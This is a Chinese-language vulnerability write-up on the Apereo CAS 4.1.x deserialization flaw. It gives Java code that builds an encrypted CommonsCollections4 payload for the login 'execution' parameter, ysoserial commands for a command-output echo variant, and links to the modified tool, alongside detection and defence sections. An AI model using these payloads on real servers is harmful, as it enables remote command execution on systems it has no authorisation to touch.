Apereo Cas 4.1.x 反序列化回显与检测
字数 1148 2025-08-20 18:17:47
Apereo CAS 4.1.x 反序列化漏洞分析与利用
0x01 漏洞概述
Apereo CAS 4.1.x 版本存在Java反序列化漏洞,攻击者可以通过构造特殊的序列化数据在服务器上执行任意命令。该漏洞主要存在于CAS的登录认证流程中,通过精心构造的execution参数实现反序列化攻击。
0x02 环境搭建
参考文章:https://www.anquanke.com/post/id/198842
- 搭建Apereo CAS 4.1.x环境
- 使用浏览器访问CAS登录页面
- 填入用户名和密码并使用Burp Suite进行抓包
0x03 漏洞利用复现
工具准备
使用Apereo-CAS-Attack工具生成payload:
https://github.com/vulhub/Apereo-CAS-Attack
生成payload代码示例
String type = "CommonsCollections4";
String command = "cmd.exe /c calc.exe";
String id = UUID.randomUUID().toString();
EncryptedTranscoder et = new EncryptedTranscoder();
Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
byte[] code = et.encode(obj);
String payload = Base64.getEncoder().encodeToString(code);
String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
System.out.println(data);
攻击步骤
- 将生成的payload字符串贴到Burp请求的execution参数处
- 发送请求即可执行命令(如弹出计算器)
0x04 回显利用技术
在无法出网的环境中,回显技术可以直观显示命令执行结果。
使用改造后的ysoserial工具
java -jar ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar encode CommonCollections4
攻击步骤
- 将生成的payload替换至execution参数
- 在请求头部添加命令:
cmd:xxx - 发送请求后可在响应中看到命令执行结果
0x05 检测思路
分析EncryptedTranscoder类的encode和decode方法:
- encode方法生成利用字符串
- decode方法进行解密和解压缩后通过ObjectInputStream.readObject反序列化
检测方法:
java -jar ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar decode base64stringxxxx 1.txt
工具会检测字符串中是否包含ysoserial特征,若存在则返回"Detect ysoserial"。
0x06 ysoserial改造方法
参考00TheWay、l1nk3r和DreamXu的实现,主要改造点:
- 添加ApereoCas专用类
- 实现回显功能
- 优化payload生成逻辑
0x07 工具下载
改造后的ysoserial工具地址:
https://github.com/MrMeizhi/ysoserial-mangguogan
0x08 防御建议
- 升级到最新版本的Apereo CAS
- 对execution参数进行严格过滤
- 监控反序列化操作
- 使用安全管理器限制危险操作
0x09 参考资源
- https://www.00theway.org/2020/01/04/apereo-cas-rce/
- https://www.anquanke.com/post/id/198842
- https://www.freebuf.com/vuls/226149.html
声明:本文所述技术仅用于安全研究学习,请勿用于非法用途。